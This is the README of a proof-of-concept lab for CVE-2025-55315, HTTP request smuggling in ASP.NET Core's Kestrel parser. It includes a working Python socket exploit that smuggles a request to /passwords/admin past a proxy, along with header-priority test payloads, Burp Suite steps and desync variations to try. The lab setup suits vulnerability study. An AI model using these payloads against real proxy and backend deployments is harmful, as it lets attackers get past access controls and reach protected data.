CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

📊 Presentation

View Interactive Prezi Presentation

🎥 Click the badge above to view the full interactive presentation on Prezi

Project Structure

• Api - Consolidated ASP.NET Core API with two Dockerfiles:
  • Dockerfile.vulnerable - Uses .NET 10.0.100-rc.1 (vulnerable to CVE-2025-55315)
  • Dockerfile.patched - Uses .NET 10.0.100 (patched version)
• PythonProxy - Vulnerable proxy used for CVE-2025-55315 exploit demonstration (favors Content-Length over Transfer-Encoding)
• YarpProxy - YARP reverse proxy for testing load balancing (not part of the exploit)

Note: The vulnerability is in the .NET runtime's HTTP parser (Kestrel), not in the application code. Both versions use identical source code but different .NET runtime versions.

Quick Start

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

See DOCKER.md for detailed Docker usage instructions.

Exploit Demonstration

The Python proxy demonstrates CVE-2025-55315 by favoring Content-Length over Transfer-Encoding, enabling HTTP request smuggling:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

This payload smuggles a second request to /passwords/admin past the proxy's security check, exploiting the discrepancy in how the proxy and backend server parse the request.

Visual Request Interpretation

Here's how the proxy and backend server interpret the same payload differently:

Key Differences:

Detailed Explanation:

• Proxy: Accepts 2;\n as a valid chunk size declaration (2 bytes) → Reads xx as the 2-byte chunk body → Moves to next chunk (39)
• Backend: Rejects \n as line ending → Chunk size is still 2 but header extends through 2;\nxx\r\n → Reads 39 as part of the chunk body → 0\r\n terminates the chunk
• Result: The smuggled GET /passwords/admin request is hidden in what the backend treats as chunk data, but gets parsed as a separate request after chunk processing completes

The smuggled GET /passwords/admin request is hidden in what the proxy thinks is chunk body data, but the backend parses it as a separate HTTP request.

Identifying the Vulnerability

Before exploiting, you need to identify which HTTP header (Content-Length or Transfer-Encoding) different components favor. Here's a step-by-step guide:

Step 1: Test Header Priority

Send a request with both Content-Length and Transfer-Encoding: chunked headers to see which one each component respects:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analysis:

• If the server processes "Fa" (2 bytes) → It favors Content-Length
• If the server processes "Fabian" (full chunked body) → It favors Transfer-Encoding

Step 2: Test Each Component

Test all components in your architecture to find discrepancies:

Test Unsafe API (Port 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Test Safe API (Port 5002)

# Change port to 5002 and test
# Safe API should handle the conflict properly

Test Python Proxy (Port 5027)

# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

Test YARP Proxy (Port 5028)

# Change port to 5028
# Test how YARP handles the header conflict

Step 3: Use Burp Suite for Manual Testing

1. Intercept Request: Capture a normal POST request to /passwords
2. Modify Headers: Add both headers manually:

Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n

3. Set Body: Use chunked encoding format:

6\r\n
Fabian\r\n
0\r\n
\r\n   

4. Compare Responses: Send to different endpoints and analyze which body portion each processes
5. Identify Discrepancy: If proxy reads 2 bytes but backend reads full chunk, you have a desync vulnerability

Step 4: Craft the Exploit

Once you identify:

• Proxy: Favors Content-Length (reads only N bytes)
• Backend: Favors Transfer-Encoding (reads chunked body)

You can smuggle a second request that the proxy never sees but the backend processes.

Step 5: Verify the Exploit

Run the full exploit payload (see "Exploit Demonstration" section above) and confirm:

• First response: Normal POST result
• Second response: Admin endpoint data (smuggled request succeeded)

Tools Recommended

• Burp Suite: Manual request crafting and header manipulation
• Python socket: Low-level control for precise HTTP formatting
• curl with --data-binary: Quick command-line testing
• Wireshark: Packet-level analysis to see exactly what each component receives

Alternative Exploit Variations

The exploit can be crafted in multiple ways. Experiment with different approaches:

With Explicit Content-Length

# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

Why It Works Without Content-Length

• Proxy: Accepts \n as valid line ending → Treats 2;\n as chunk size → Reads 2 bytes (xx)
• Backend: Rejects \n → Chunk header extends through 2;\nxx\r\n → 39 becomes chunk body → 0\r\n ends chunk
• Result: Smuggled request hidden in chunk body, parsed as separate request by backend

Experimentation Ideas

Try different desync scenarios by modifying PythonProxy/proxy_server.py:

• CL.TE: Proxy uses Content-Length, backend uses Transfer-Encoding
• TE.CL: Proxy uses Transfer-Encoding, backend uses Content-Length (try crafting your own Apis)
• TE.TE: Both use Transfer-Encoding but parse differently (like \n vs \r\n)

Experiment with:

• Different chunk sizes and formats
• Multiple smuggled requests in sequence
• Various HTTP methods (GET, POST, PUT, DELETE) - you can add them in the Apis
• Whitespace and special characters